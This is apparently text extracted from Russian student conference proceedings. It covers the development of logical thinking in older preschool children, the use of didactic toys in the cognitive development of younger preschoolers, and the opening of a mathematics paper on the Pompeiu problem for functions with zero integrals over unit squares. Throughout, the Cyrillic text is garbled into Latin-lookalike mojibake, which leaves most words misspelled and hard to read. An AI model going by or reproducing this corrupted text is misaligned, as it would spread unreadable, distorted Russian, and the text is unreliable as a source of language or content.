JOIIKOIBHOTO BO3pacTa JIOJDKEH o001aJaTh CHOCOOHOCTSMHU 0000IIeHus, CpaBHEHUS,
a0CTparupoBaHus U KJIacCU(UKAIUs, YMEHUS YCTaHABIUBATH MPUINHHO-CIIEJICTBEHHBIE CBSI3H,
CIIOCOOHOCTBIO pacCykAaTh. B mpoiiecce pa3BUTHSI JIOTHYECKOTO MBIIIJICHHS J€TH OBIIAJCBAIOT
METO/IaMH JIOTUYECKUX JIEHCTBUM, HAUMHAIOT JIEHCTBOBATD «B YME» M ITPOBOIUTH aHAJIN3 CBOUX
U 4yXux paccyxaeHuil. Ctapiiuii JOIIKOJbHBIA NEPHOJ XApaKTEPHU3YEeTCs] MHTEHCUBHBIM
pPa3BUTHEM MHOTHX TICUXHYECKUX IPOIECCOB. YK€ K YETHIPEM TrojaM y JeTed HauyuHaeT
MPOSIBIISITBCSL CIIOBECHO-JIOTHYECKOE MBIIIEHHE, KOTOPOE IMO3BOJIIET UM HE TOJIBKO PEIIaTh
ompeieJICHHBIC 3a7a4i, HO M YeTKO apryMEHTUPOBATH CBOIO TOUKY 3PEHHUSI.

Ha goruky pAOIIKOJIBHUMKA, B 3HAYUTENIIBHOW CTENEHM, BJIUSET BHEIIHUA BUJ
00bekToB. Hespenas joruka JOMIKOJIBHUKA MTOCTETIEHHO 3aMEHSIETCS JKUTEUCKON MYAPOCTHIO
U 0OBIICHHOM, MOBCeAHEBHON TOTUKOM. C TaKUMU OCOOEHHOCTSIMU MBIIIJICHHSI TOIIKOIbHUKA
BhICKa3biBas cBoe coryacue K. [Tuaxe. B Havane nmponuioro Beka OH OOHAPYXUII, YTO JETIM
HE XBaTaeT «IIPUHIIUIIA COXpaHEHHS (HHBAPUAHTHOCTH ) KOJIMYECTBAY, HAIPUMED, OHU JyMAIOT,
YTO KOJMYECTBO BEIIECTBA MEHSETCS, €CIU SBHO M3MEHWIOCH OJTHO M3 €r0 M3MEpPEHUN WIn
dbopma. OTa ocoOeHHOCTH AeTeli Oblia yecTaHoBIeHa [Inaxe ¢ TOMOIIBIO CIEIIMATBHBIX «331a9
[Traxxe» [4].

JleTu TOMKOIBHOTO BO3pacTa CAEAYIOT JJOTUKE, TOX0KEHN Ha pacCyKAEHHS B3POCIBIX, MO
KpaiHeW Mepe, KOrjJa CTHMYJbl KOHKPETHBI. boiiee TOro, 1eTm OJHOTO BO3pacTa MOTYT
pa3MBINUIATH TO-pa3HoMy. Hamuume Takoro pa3HooOpas3usi B pPa3BUTHH PAa3HBIX THUIIOB
MBIIUICHUS Y Pa3HBIX JETEH CHIIBHO YCIOXKHSET U YTOKEAET paboTy YIUTEs.

OMnBIT U3BECTHBIX MENAroros, ncuxonoroB u Mmetoauctos (T. WM. lllamosa, T.A. fArynuna,
N.C. SlkumaHckas U JIp.) MOKa3bIBaeT, UTO HAYMHATh (POPMUPOBAHUE MPOCTEUIINX MPUEMOB
JIOTUYECKOTO MBIIIJICHUSI MOXHO YK€ y 3-4-meTHero peOeHKa C YYeTOM BO3PACTHBIX
0COOEHHOCTEH, a 3aTeM K 6-7 rogaM OHH MOTYT OBITh CHOPMHPOBAHBI HA IOBOJIHLHO BEICOKOM
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ypoBae [8, 10, 11]. Ilepuoa mOmKOJLHOTO JETCTBA — HamOoJiee CEHCHUTHUBHOE BpeMs JIS
(bopMHpOBaHUS U CTUMYJIUPOBAHUS PA3BUTHUA MPOCTHIX JOTMUYECKUX ACUCTBHM. B Oymymiem,
HaJIM4ue MoJ00HOM 6a3bl MOMOXKET OPraHU30BaTh CIELUATIbHYI0 paboTy Mo (GpopmMHUpOBaHUIO
COCTAaBHBIX JIOTMYECKUX ONepaluii: 00ydeHHe pacCyKACHUSAM U METOAAM J0Ka3aTebCTBA.
BonbminHCTBO HccneaoBareneil OTMEYalT, YTO B JIETCKOM MBILIUIEHUH MPEo0IafaeT JIOTUKa
BOCTIPUATHS KOHKPETHOH CHTYyallMd, a HE JIOTMKa MBICIU. PeOEHOK B CBOEM BOCIPHSTHH, B
CBOMX CYXXJECHUSX HAaXOAMUTCA B OJIM3KOM OTHOIICHWU K pealbHbIM O0BEKTaM, HO Pa3BUTHE
MBILIUICHUS] 3aKJIIOYaeTCs B TOM, 4YTOOBI MOCTENEHHO YOAIATHCS OT KOHKPETHOCTH,
MPUBS3aHHOCTU K 00BEKTaM, U Pa3BUBATHCS B a0CTPAaKTHOM HAIPABICHUH.

MpilieHHe — 3TO COLMANBHO OOYCIIOBJICHHBIM TMCHUXWYECKUI Mpolecc MO3HAHUS
00BEKTUBHOM JeiicTBUTENbHOCTU. C POXKIACHHUS YEIOBEK HE HAJeNICH TOTOBBIMH IA0JIOHAMH U
MpHEeMaMH MBIIUICHUS, OHU MOCTENEeHHO (OPMUPYIOTCA M PAa3BUBAIOTCA O] BO3JICHCTBUEM
MHO’KECTBA BHEILIHUX U BHYTPEHHUX (pakTopoB. IIpu 3TOM j10ornyeckoe MbIIUIEHHUE YEI0BEKa
MPOJOJKAET Pa3BUBATHCA HA MPOTSIKEHHHM BCEW €ro XU3HU, MO0 MEpPE COMPHUKOCHOBEHUS C
00BEKTHBHBIMH (hOpMaMH, B KOTOPBIX BOILJIONIAETCS YEIOBEUECKas JIOTHKA.

B mpouecce pa3BUTHSA JIOTMUECKOTO MBIIUICHUSI JETEH CTapliero JJOMIKOJILHOTO
BO3pacTa, JUIsl TIOBBIEHHS ero 3()(PEeKTUBHOCTH peann3yloTcs CIEeAYIONUe Me1arorniecKue
YCIOBUS: CUCTEMATHUECKOE UCIIOJIb30BAHNE KOMITJIEKCA JUAAKTHUECKUX UTP U Pa3HOOOPa3HBIX
Pa3BUBAIOIINX MAaTEPUAJIOB IO PA3BUTHIO JOIMUYECKOIO MBIIIIJICHUS; pa3BUTHE [T03HABATEIbHON
aKTUBHOCTH peOEHKa; IMOBBIIICHUE KOMIETEHTHOCTH II€aroroB B BOIPOCaX pPa3BUTHS
JIOTUYECKOTO MBIIIJIEHUS Y I€Tel CTapLIEro JOMIKOJIbHOIO BO3pacTa.

CrocoOCTBYIOT Pa3BUTHUIO JIOTUYECKOTO MBIIUICHUS y JETe U CO3JaHHbIC yYUTEIIEeM
NpoOJeMHBIE CUTYalluH, K PEIICHHIO KOTOPBIX OHM aKTUBHO NpUBJIEKaOTci. B mporecce
00CYX/IeHUs] BAPUAHTOB PELIeHUs MPOOIeMbl, 000CHOBBIBASI U 3alLUILAs CBOIO TOUKY 3pEHUS U
apryMEHTHPOBAHHO OIpOBEpras WINW IMOAJIEPKHUBAas TOUYKU 3PEHHUS] CBOMX CBEPCTHUKOB M
nejarora, peOeHOK pa3BUBAET MPHUEMBI JIOTHUECKOTO MBIIUICHUS U YKPEIUISIET CBOIO MaMSITh.

Kak noka3piBaeT mpakTuka, JETH, MOCTYMAIOIIME B IIKOJY, BCE €IlIe CTPaJaloT OT
denomena I[luaxe. Ilemaror HayaabHOW IIKONBI JOJDKEH VYAENSATh MHOTO BHUMAHHS
MIPEOJIOJICHUIO €T0 Y CBOUX YUEHHUKOB. /{1151 3TOr0, BOo-niepBbIX, HEOOXOUMO OOBSACHATH JAETAM,
YTO Ka)bIi mpeaMeT 0071agaeT MHOKECTBOM Pa3IUYHbBIX CBOMCTB U KauecTB. OHU JOKHBI
YUNUTbCA BUAETh M YCTAHABIMBAaTh CBOWCTBAa pa3IMYHBIX, 3HAKOMBIX MM, OOBEKTOB. B
MOCIEAYIONEM, BaKHO HAyYUTh UX pa3luyaTh OOIIME CBOMCTBA B pa3HBIX OOBEKTaX. ITO
KpONOT/IMBasi, JOBOJIHO JUIMTEIbHAsE paboTa, KOTOPYIO CIEAYyeT MPOBOJUTH MapajulebHO C
U3y4YEHHEM OCTAJIbHOTO y4eOHOro Martepuana. Bo-BTOpBIX, cleqyeT OTAENbHO OOBICHUTH
JETSIM, UTO CPABHUBATH Pa3HbIe 0OBEKTHI IPYT C APYTOM MOKHO TOJIBKO 110 KAKOMY-TO OOIIEMY
CBONCTBY.

JIOLIKOJIBHBIN BO3pAcT SBISETCS BaKHEUIIMM IE€PHUOJOM CTAHOBJIEHUS U Pa3BUTHS
auyHOCTH pebenka. OnHol u3 Hamboliee BaXKHBIX CIOCOOHOCTEH, KOTOpBIE YCBaMBAIOTCA
peOeHKOM B JTOT TEPHOJ, SBJISETCS CINOCOOHOCT, K Tmo3HaHWio. OaHON W3 3amad
MO3HABATENIFHOTO PAa3BUTHs JeTeil sBisgeTcs (OPMUPOBAHHE TMO3HABATEIHHBIX JEHCTBUHU.
[Ipouecc mo3HaHMs M pa3BUTUS IO3HABATENbHBIX JEHCTBHI HEMBICIUM O€3 pa3BUTHS
MBIIIICHHUS.

[IpakTka mOKa3bIBaeT, 4TO MJs YCBOEHHUS OOIIMX TOJOXKEHHUH, MpaBWil, BBIBOJOB
TpeOyeTcsi 3HAUUTENbHOE KOJMYECTBO KOHKPETHBIX ympaxHeHud. Toibko B pesynbrare
1[eJIeHaNPaBICHHON MHOTOJIETHEH paboThl B 3TOM HANPaBIEHUH MOSBIISETCS BO3MOXHOCTD JIJIS
3¢ (HEeKTHBHOTO Pa3BUTHs JIOTHYECKOTO MBIIUICHUS JOMKOIHUKOB. J[[mst Toro, dYToObI
3aMHTEpecOBaTh MX, HEOOXOAMMO BKJIOYaTh B Y4eOHBIM Mpolecc HHTEpECHbIE U
yBiekarenpHbie 3amaHus. Jns  sddekTHBHOro pa3BUTHS  JIOTHUECKOTO  MBIIIJICHUS
JOLIKOJIbHUKOB HEOOXOAUMO UCIOIb30BaTh CHEIHATBHYIO CUCTEMY 3aJaHUl, KOTOpasi MOXKET
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OBITH BKJIIOYCHA B Y4eOHO-BOCIIUTATENBHBIN mpouecc. boiee Toro, cama cucrema 3agaHuit
JIOJDKHA YYHUTBHIBATh CHEIU(HUKY BOCIPHATHS W MBIIUICHUS JIETeH IOMIKOJIBHOTO BO3pACTa.
Takum 00pa3oM, MOXXHO OTMETHUTb, YTO HMEHHO B CTapIIeM JOIIKOJIBHOM BO3pacTe
HEOO0X0MMO TPOBOJUTH LEJICHANPABICHHYIO paboTy 1O (OPMHUPOBAHHIO U PA3BUTHUIO
JOTUYECKOTO MBIIUICHUS Y JIeTEH.
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YK 373.2

3ATAYH UCITOJIB3OBAHUA I[I/II[A:KTI/I‘{ECKOI?'I UI'PYHIKH
B IO3HABATEJIBHOM PA3BUTHUU JETEU MJIAJIIEI'O JOIIKOJBHOI'O

BO3PACTA
Huxugopuax B.U.
Hayunwuit pykosooumens: Yyouna E.IO., Kauo. neo. nayk, 0oyenm
TIoy BIIO «/lonHACA»

Aunomayus. B cTaThe TPENCTaBICHO TEOPETHUECKOE OOOCHOBaHME 3((PEKTHBHOTO HCIIOIb30BAHMS
JIUIAKTHIECKOH HIPYIIKY JUIS TO3HABATENBHOTO PA3BUTHSA JIETEH MII/IIIETo JOIIKOIBHOTO Bo3pacTa. [IpuBeneHs!
OCHOBHBIC TEJarorMYecKue 3aladd, Ha KOTOpPBIC HANpPaBICHO HCIOJIB30BAHUE IUIAKTHYECKOW WIPYIIKHA B
00y4YeHNH AeTel MIIaIIIero JOMKOJIFHOTO BO3pacTa.

Kniouegvie cnosa: no3HaBaTeNnbHOE pa3BUTHE, PAHHU JOIIKOJIBHBIA BO3pAcT, BOCIIPUSATHE, UTPA, MBIIIUICHHE.

B nmpouecce oOyueHus JeTeil MIaAlero JOUIKOJIBHOIO BO3pacTa COBMECTHAs
JeSTeNIbHOCTh JIOMIKOJFHUKOB U IEJarora OCYIIECTBISIETCS B ONPEACIICHHOM MOPSAKE U
YCTQHOBJICHHOM pEXHME M 00JieueHa OOBIYHO B UTPOBYIO (opMy. MICTOpUYECKH CIIOXKUIIHICH
Tpu GOpPMBI OpraHu3alMd OOy4YeHHs: HWHAWBHAyalbHAs, TpynmnoBas (C MOATPYIIION),
dbponTanbHas (co Bceil rpymmoii) [1]. OcHOBHasS 0COOCHHOCTH TO3HABATEIHLHOTO PA3BUTHS
pebenka — npeoOnananue 0oO6pazHbIX (OPM MO3HAHUS: BOCHPUATHSA, OOPA3HOTO MBILIUICHUS,
BooOpakeHUsi. B paHHeM [eTCTBE IO3HABaTEJIbHOE pa3BUTHE peOEHKa IPOUCXOIUT B
MOCTOSIHHOM OOIIEHUH C TIEAaroroM M CBEpCTHUKaMU. BocnuTarenbHbIi MpoLiece B YCIOBUSAX
JIOLIKOJIBHOTO 00pa30BaTEIbHOTIO YUpEXKIEHUs MpOoTeKaeT HauboJiee YCIelHO, KOTJa Hapsiny
C TIOBCEIHEBHBIM OOIEHUEM IMPHUMEHSIOTCS CIELUATbHBIE Pa3BHBAIOIIUE, TUIAKTUYECKHE
UTPBI U 3aHATHUS, B KOTOPBIX MJIQJIIINE JOIIKOJIbHUKN OCBAWBAIOT HOBBIE JJISl HUX 3HAHUS U
yMeHus. IMEHHO B UTPOBBIX 3aHATHUSIX Pa3BHBAIOIEe B3aUMOACHUCTBUE Iejarora U peOeHka
0COOEHHO 3P PEKTUBHO.

Bocnpusitue, MpintuieHue u peus Aereill GopMUpPYIOTCs, B IEPBYIO OUepelb, B Ipolecce
OeHCTBUM ¢ JuAakTHUecKUMu wurpymkamu. Muorue ncuxonoru: JI.C. Belrorckuid,
A.H. Jleontses, A.B. 3anopoxen, JI.b. Dnpkonun, I A. YpyHTaeBa oTMeuanu, 4To UTpyIIKa
BBICTYIAET /JIsl peOeHKa Kak MpeaMeT 3a0aBbl, pa3BlI€UeHUs], paJOCTH, U B TO K€ BPEMsI OHa —
Ba)KHEHUIIIEe CPEICTBO TCUXMYECKOT0 Pa3BUTHs JOLIKOJIbHUKA [2, 5, 7]. OOydyeHue nerei
MJIaJIIIEr0 BO3pacTa peud ¢ NMPUMEHEHMEM AMJIAKTUYECKON WIPYIIKH CTPOUTCS HA CHUHTE3E
Pa3IMYHBIX BUJIOB I€ATEILHOCTH (3HAKOMCTBE C MUPOM ITPUPO/IbI, HICKYCCTBA, ObITa) B UTPOBOM
dhopme. OOBITPHIBAHKE CIOXKETA W300paKEHHS, CKa30K WMJIU OBITOBBIX CHUTYallMi C TIOMOIIBIO
pPa3IMYHBIX UTPYLIEK M IPEIMETOB, TAKXKE 3aHATHS 10 NPOJYKTUBHOW JAESITEIBHOCTH B
UTPOBOM (opMme, BCerjga COMPOBOXNKAAIOTCS MEAAroroM 3MOLMOHAIBHBIM MOJKPEIUIEHUEM,
aKTUBHO UCIIOJIB3YETCSl YCTHAs pe4b: CTUXOTBOPEHUS, IOTEUIKH, JETCKUE 3araJku, HapOJAHbIE
cka3ku. Takme wmeroasl O0OydeHHs TO3BOJSIOT MPHUBJIEYb BHUMaHUE Malblled K
[I03HABATENIBHOM JIEATENBHOCTH, JOJIbIIE YAEPKUBATh UX HAIPaBIECHHOE BHUMaHUE, IPUJIATh
3aHATHUSM TO3UTHUBHBINA AMOLIMOHAIBHBIN HACTPOM M CTUMYJIMPOBATh MOTHBBI JI€STEIBHOCTH
MJIaIIINX JOIIKOIbHUKOB.

OTnuuuTenbHas OCOOCHHOCTh JNUAAKTUYECKONW WIPYIIKHA OT Pa3BJIEKAIOLINX JIETCKUX
UTPYILIEK — 3TO BO3MOXHOCTh 00Y4EHHUS JIeTell paHHEero M MJIaJILIEro JOIIKOJIBHOIO BO3pacTa
IIOCPEACTBOM MHTEPECHOM JUIsl HUX IEATENBHOCTH. [Ipr 3TOM CTOUT OTMETUTH, YTO UMEHHO IS
JIeTel paHHEero U MJIAJIIEro TOMKOJILHOTO BO3pacTa OCHOBHON HHTEpEC MPECTABIISET HE CaMO
oOyyarolee 3a/laHue, a UTPOBbIe JCHCTBUS Kak mpolecc. B 3ToM ciydae 3HaHUS U yMEHUS,
npuoOpeTaeMble IEThbMH B MPOIIECCE ACUCTBUHN C TUAAKTUUECKON UTPYIITKOM, SIBIISFOTCS JTUIIIH
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NOOOYHBIM MPOAYKTOM HIPOBOM JesTenpHOCTH. B TO ’xe BpeMs [uid JeTell cTapliero
JIOIIKOJIBHOI'O BO3pacTa 3HAY€HHUE IUIAKTUYECKON UTPYLIKU CHUXKAETCS, TOCKOJIBKY JJIsL AETE
9TOr0 BO3pAcTa HA MEPBBIM IUIAH BBIXOAAT HE UTPOBBIE ACUCTBHS, a JOCTHKEHHUE PE3yJIbTara,
pelIeHUE UTPOBOTO 3aaHusl, BAYKHOE 3HAUCHHE TPUOOPETAET MOMEHT COPEBHOBATEILHOCTH [3,
c. 323].

B3aumopeiicTBie € JAMJAKTHYECKOW WIPYIIKOH OJHOBPEMEHHO CIIOCOOCTBYET H
Pa3sBUTHIO CTPYKTYpBl YCTHOM PEUYM MajbllI€i, Beb B IIPOLECCE B3aMMOJICHCTBHS BCeErzaa
BEJIETCSl HENPEPBIBHBIM PAa3sroBOp JUAJIOr IleJarora ¢ BOCIUTAaHHUKAaMU. Takas opraHu3anus
3aHATUN CTUMYIHpPYeT (OPMHUPOBAHUE CJIOBAPHOTO 3araca, CIOCOOCTBYET pEdYeBOMY
NOJPaKaHUIO, a B JAJIbHEHUIIEM [TOMOTracT CTPOUTH IOJHOLICHHBIN JUAJIOT C UTPYLICYHBIMU
IIEPCOHA)KaMH, CBEPCTHUKAMM M II€aroroM, TEM CaMbIM CTUMYJIUPYsd pPa3BUTHE
KOMMYHHMKAaTUBHBIX HABBIKOB J€TEH PAaHHETO BO3pacTa.

3aHsTHS C UCTIOJIb30BAaHUEM JUIAKTUUECKON UTPYIIKU HANPABJICHbl TAK)KE HA pEIICHUE
OoJiee MKUPOKOTo Kpyra 3ajay, B TOM YUCIIE Pa3BUTUS IO3HABATEIIbHOM aKTUBHOCTH MJIQIINX
JIOIIKOJILHUKOB. K 3TUM 3a1a4aM MOKHO OTHECTH:

* (hopMupoOBaHHE MPAKTUYECKOI'O OIBbITAa JABUIATENbHBIX JEHCTBUH B 3aBUCUMOCTH OT
O0OBEKTUBHBIX CBOICTB MPEAMETOB;

* BEIPAaOOTKY HaBBIKOB OPUEHTUPOBAHUS B IPOCTPAHCTBEHHOM I10JI0’KEHUH IIPEAMETOB U
UX B3aUMOJICHCTBHS B 3aBUCUMOCTH OT WX (PU3MUYECKHUX XapaKTEPHCTHUK;

* OCYUIECTBIICHUE IIPOCTBIX HCCIIENOBATEIbCKUX NEUCTBUH C IPEAMETaMU METOIOM
«po0 1 OmUO0KY;

* BBEJICHUE DJIEMEHTOB dKCIIEPUMEHTUPOBAHUS;

* hopMupoBaHHE  HANPABICHHOTO BHUMAHUS HAa  TEXHHUYECKOE  BBIMOJHEHHE
IIPAKTUYECKUX ACUCTBUN C IPEIMETAMY;

* pa3BUTHE KPYITHOM U MEJIKOW MOTOPHKH;

* o0oraiieHue CMBICIOBOTO COJEpXkKaHUs JEHCTBHM C MpeaMeTaMH COOTBETCTBEHHO
BO3PACTHBIM BO3MOXHOCTSIM MJIQJIIIErO JOIIKOJIBHUKA.

Jlunaktuueckue  3aHATHA € CIOKETHBIMM  JHUJAKTUYECKUMH  WMIPYLIKaMH,
M300paXxarolMMH JIIOJ WM KUBOTHBIX, OBITOBBIE NPEIMETHI, CPEICTBA NEPEIBUKECHUS
TaKXKe OKa3bIBalOT PAa3HOCTOPOHHEE BIMSHME Ha IO3HaBaTelIbHOE pa3BuTHE peOeHka. Takue
UTPYILLIKH [TO3BOJISIFOT 3HAKOMUTD JETEN HE TOJIBKO C BHEIIHUM BUIOM OOBEKTOB, KOTOPbIE OHU
U300pakaroT, HO U C XapaKTEpPHbIMM MPU3HAKAMU M MX Ha3HaueHHEM (B ciydae OBITOBBIX U
TPAHCIIOPTHBIX JAUJIAKTUYECKUX UTPYILIEK), 0OCOOEHHOCTSIMH NEPEIBUKEHUS, 00pa30M KU3HU,
3BYKaMH, KOTOpble OHM M3J4al0T (B cly4yae WIpyIIeK, M300pa)karolX >KUBOTHBIX).
B3aumopeiicTBue ¢ CIO)KETHBIMH WIPYILIKaMH UMEET OOJbIIOe TUIaKTHUYecKoe 3HaueHue. B
IIPOLIECCE TIOCTENEHHO YCIIOKHAIOMMXCS BUIOB B3aUMOJACUCTBUSA C OJHOM U TOM XKe
JUJAKTHYECKOW WTPYIIKOW JOIIKOJBHUK HE TOJBKO HAY4aeTCsl MPOU3BOJAUTH Pa3IMYHbIE
JecTBUs, HO W NpUOOpETaeT OmpeeNeHHbIe 3HaHUA 00 OKpYKaloleM €ero MHUpe,
BbIpa0aThIBaeT T'yMaHHOE OTHOLIEHHE K JIFOJIIM M KUBOTHBIM. TakuM oOpa3zoM, oboraimaercs
COJIEpKaHUE CAMOCTOSITEIILHON UIPBI IETEH, a TAK)KE OKa3bIBACTCs BO3JAECHCTBUE HA Pa3BUTHE
JIEKCHUKH, YBEJIIMYEHHE CIOBApHOro 3amnaca. [Ipu BBeleHne B BOCIUTATENIBHBIN ITPOLIECC HOBBIX
JEUCTBUM C JIUIAKTUYECKMMH HWIPYLIKAMM JETH BHUMATEIbHO CIYLIAIOT IIE€Aarora, c
MHTEPECOM OTBEYAIOT HAa €ro BONPOCHI M y4yaTcsl caMH UX (OpMYyIUpOBaTh, TEM CaMbIM
dopmMupyeTCs CTPYKTYpa YCTHOM pedr MIIQAIINX JTOIIKOJIBHUKOB U 000TaIaeTcs X akTHBHBIN
JIEKCUKOH.

CocTaBHBIE WIPYLIKH, KOHCTPYKTOPBI Pa3BUBAIOT CIOCOOHOCTH JETeH K aHalu3y,
CHUHTE3y U 0000ILIEHUIO, 3TU JUAAKTHUECKHUE CPEACTBA MOYKHO MCIOIb30BaTh /Ul CPAaBHEHUS,
kiaccupukanuiu. Mo3auku CoCOOCTBYIOT Pa3BUTHIO COCPEAOTOYEHHOCTH M YCTOMUMBOCTH
BHMMaHMs. B mpolecce Takux 4Yepeayroluxcs BHAOB JEWCTBUM, KaK COCIUHEHUE U
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pazpeMHEHUE JeTaneld, moAdop HMX MEXIy CoO0Oi, HaHHU3bIBAaHHE MPEIMETOB M T.J.
Pa3BUBAIOTCS MBICIIUTEIBHBIC HABBIKM aOCTPAKTHBIX JEWCTBUHA — aHanW3a, CHHTE3a,
KJ1accupuKanuu, CpaBHEHUS U 0000IIICHUSI.

[IpakTueckue nEUCTBUS MIIAAIIMX JOLIKOJBHUKOB C JUIJAKTUYECKOW HWIPYLIKOMN
0TOOpakaroT HATJISATHO-JICHCTBEHHBIN XapaKTep MbIIIJICHHS, XapaKTePHBIN [l IeTei JaHHOTO
BO3pacTa. B3amMmonencTBHE€ € OUIAKTUYECKMMHU HWIPYIIKAMHU Pa3BHUBAET ITO3HABATEIIbHYIO
AKTUBHOCTb JETEH U 3aKJIa/IbIBAET OCHOBY JJII UX CAMOCTOSATEIbHOM ITOMCKOBOM JI€ATEIbHOCTH.
Tak, HaHU3BIBas KOJbI]a HA MUPAMUIKY, COOMpas M pPacKIaJbIiBas MPOCTEHIINE COCTaBHbBIC
UTPYIIKA U T. T., JONIKOJbHUK OCBAaMBACT MPSMbIe W OOpaTHBIC NEWUCTBUS, TMOHUMAS WX
UUKIUYHOCTh M 3aBEPILEHHOCTh. B NeHCTBUAX C IMIAKTUYECKON UTPYIIKONW peOCHOK MO3HAET
pa3IuYHbIC CBOMCTBA MpeaMeTOB (OONBIION — MAJCHBKUH, TEIUTBI — XOJIOAHBIN), WX
¢bu3nueckre KauecTBa (TBepIbld — MATKUI; TIIaJIKUI — IIepIIaBbId, TETKUI — TSXKENbBIN U T. 10.),
MMOHMMAHHUE WX KOJHMYECTBA (OJUH — MaJl0 — MHOTO), UX TE€OMETPpHUYECKYI0 (hopmy (TUTOCKUE
reoMeTpuueckue purypsl u oObemMHbIe Tena). PeOEHOK y3HAaeT M KMHETUYECKUE CBOICTBa
MPEAMETOB U CIOCOOBI UX B3aWMOCHCTBHUA: IIAPUKHU JIETKO KaTSATCS, UX HEJb3sl MOCTABUTH
APYT Ha apyra; KyOUKH YCTOHYUBBI, U UX MOXKHO COOMPATh OMH Ha APYroi u T.1. [4].

[ToBTOpsitonuecss AUAAKTUYECKUE WUTPhl C MHOTOOOpAa3HMEM HTPYIIEK CTUMYJIUPYIOT
3allOMUHAHUE W YMEHHUE BOCIPOM3BEICHHS CIOCOOOB NEHCTBHII C HMMH, KOTOpbIE ObLIN
MOKa3aHbl NIEAAroroM paHee. JTO pa3BUBAET MaMsATh, @ UMEHHO — OINEpaliy 3allOMUHAHUS,
y3HaBaHUs, Bocrpou3BeaeHus. C MOMOIIbIO AUIAKTUYECKON UTPYIIKHU MIIA NI TOMIKOJIBHUK
VYUTCS BUJIETh MHOTOOOpa3ue OKPYKAIOMIero MUpa, u3ydaeT (PU3MUECKHE CBS3H M 3aKOHBI,
MprOOpeTaeT HABLIKK paIlMOHAJbHBIX JCHCTBUI B 3aBUCHMOCTH OT CBOMCTB mpeamerta. Tak
o0Opa3Hoe BocTpusATHE peOeHKa 000TamaeTcsi He TOIbKO a0CTPAKTHBIME MPEICTABICHUSIMH O
dbopMe mpeaMeToB, HO M 00 HX OOBEKTUBHBIX CBOICTBaX W cmocobax (U3NYECKOTO
B3aUMOJICHCTBHUS C HUMH [4].

OOyuaromue 3aHATHS C AUJAKTUYECKON UTPYIIKOW B MIIAJAIIEM JIOIIKOJILHOM BO3pacTe
HaIpaBJIEHbI HAa PEIICHUE CIICYIONIUX BOCIIUTATEIbHO-00pa30BaTeIbHBIX 3a/1a4.

1. ITo3HaBaTrenpHOE pa3BUTHE B MPOIIECCE UTPOBOM EATEIHLHOCTH, Pa3BUTHE 0OPA3HOTO
MBIIICHHUS, TAMSITH U IPYTUX BBICIIUX ICUXUYECKUX MPOIECCOB.

2. B neicTBUSIX ¢ IUIAKTUUECKOW UTPYIIKON MPOUCXOJUT COBEPIICHCTBOBAHUE MEIKOM
MOTOPHUKH MAJIBIEB U KOOPAUHUPOBAHHON KPYITHONH MOTOPHUKH.

3. ®opMupoBaHUE peUeBOM aKTUBHOCTH, OOOTaIlleHHE CIIOBAPHOTO 3araca.

4. ®opMupoBaHUE HAMPABICHHOTO BHUMAaHMS, II€JICTIONaraHie B JCHCTBUAX, YMEHUS HE
OTBIIEKAThCS OT MOCTABJICHHOM 3a/1a4l ¥ IOBOJUTH €€ 10 3aBEPUICHHS U T.11.).

Hcnonp30BaHne TUAAKTUYECKON WUIPYIIKH B MJIQJIIEM BO3pPAacTe TAKKe CIOCOOCTBYET
Pa3BUTHUIO JTOTUYECKOTO MBIIIJIEHUS, TaMsATH, HAIPABICHHOTO BHUMaHUs. B3aumonencTBys ¢
HUMH, JIETH YJIaTCs IeJCHANPaBICHHON 1eATeILHOCTH [ 6].

OO6001KB BHIIIE CKA3aHHOE, MOKHO CIENATh BBIBOJI, YTO O0YUAIOIUE 3aHATHS MIIaIIINX
JOMIKOJIbHUKOB C JUJAAKTUYCCKUMH WTPYIIKAMH, B KOTOPBIX IPUMEHSETCS BBITTOJTHCHUE
WUTPOBBIX JEUCTBUI, UMEIOUIUX JIOTUKY, OKa3bIBAIOT BO3JEHCTBHE HAa Pa3BUTHE MBILIUICHHUS,
CJIOBapHbIM 3amac, aKTUBHYIO pe€Yb, CEHCOPHOE BOCHPHUATHE — TO €CTh, B II€JIOM Ha
[03HABATEJIILHOE PA3BUTHE AETEN MIIAIIErO JIOKOJIBHOTO BO3pacTa.
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of preschool children. The main pedagogical tasks aimed at the use of didactic toys in teaching children of younger
pre-school age are given.
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O XAPAKTEPE MAKCUMAJIBHOM I'JTAJIKOCTH HEHYJIEBBIX ®YHKIIUI C
HYJEBBIMU UHTEI'PAJIAMM 110 EAUHUYHBIM KBA/IPATAM

Tumodgheeea K.B.
Hayunwui pyxosooumens: Bonukoe B.B. 0-p. ¢puz-mam. nayk, npogpeccop
TIoy BIIO «/IOHHY»

Annomayus. TlonydeHa ToYHas XapaKTECPUCTHKA MAKCUMAJILHOU TJaJKOCTH HEHYJICBBIX (DYHKIUH, 3aJJaHHBIX B
OTKPBITOM KpyTe, 1 UMEIOIINX HYJIeBbIe HHTETPAJIBI 10 BCEM 3aMKHYTHIM €IMHUYHBIM KBaJpaTaM B 3TOM KpyTe.
Kmiouesvie cnosa: mupodnema Ilommeiito, cBoiictBo Ilommeiito, MHOXXeCTBa cO cBOHCTBOM Ilomreiiro,
KBa3MaHAIUTHYCCKUE (PYHKITUH, JIOKAIbHAS TeopeMa O IBYX paanycax Uil KBa3HaHAIATHIECKUX (yHKIIHH.

Berynuenne. Kiaccuueckast mpoGiema [Tomrielito COCTOUT B OMUCAaHUM KJIacca TaKUX
KOMITAaKTHBIX MHO>KECTB, /ISl KOTOPBIX BCSIKas JIOKaJbHO CyMMHpyeMas (pyHKIIHS, UMeroIias
HYyJIEBbIE MHTErpajbl [0 pacCMaTpMBAaEMbIM MHOXECTBaM, paBHA HYJIO IOYTH BCIOAY. Psn
pe3ynbTaToOB B 3TOM 3amaye Obul mMoiyuyeH B mepBod mojoBuHE XX BeKa PYMBIHCKUM
Marematukom [lommeitto (cm. [1, 2]).

Ha panHbIi MOMEHT, A1 MHOTMX KOHKPETHBIX CJIy4aeB €CThb PsiJ JOCTaTOYHBIX
YCJIOBUIA, C IOMOILBI KOTOPBIX MOKHO ONPEIEIIUTh UMEET JIM MHOKECTBO CBOMCTBO [loMIieiito
[3]. B nmannoii pabGote uccrnenywTcs aHaioru npoOiemsl I[lommelito u cBs3aHHBIE C Hel
BOMPOCHI /ISl (YHKIMHA C HYJIEBBIMA MHTETPAJIaMH 10 3aMKHYTHIM €IMHUYHBIM KBajpaTam,
COJIEPIKAIIMMCS B OTKPBITOM KpPYTE.

Panee B nuteparype (cM. [4-6]) aHamoruuyHas 3ajadya pemiajgach Ui JIOKaJIbHO
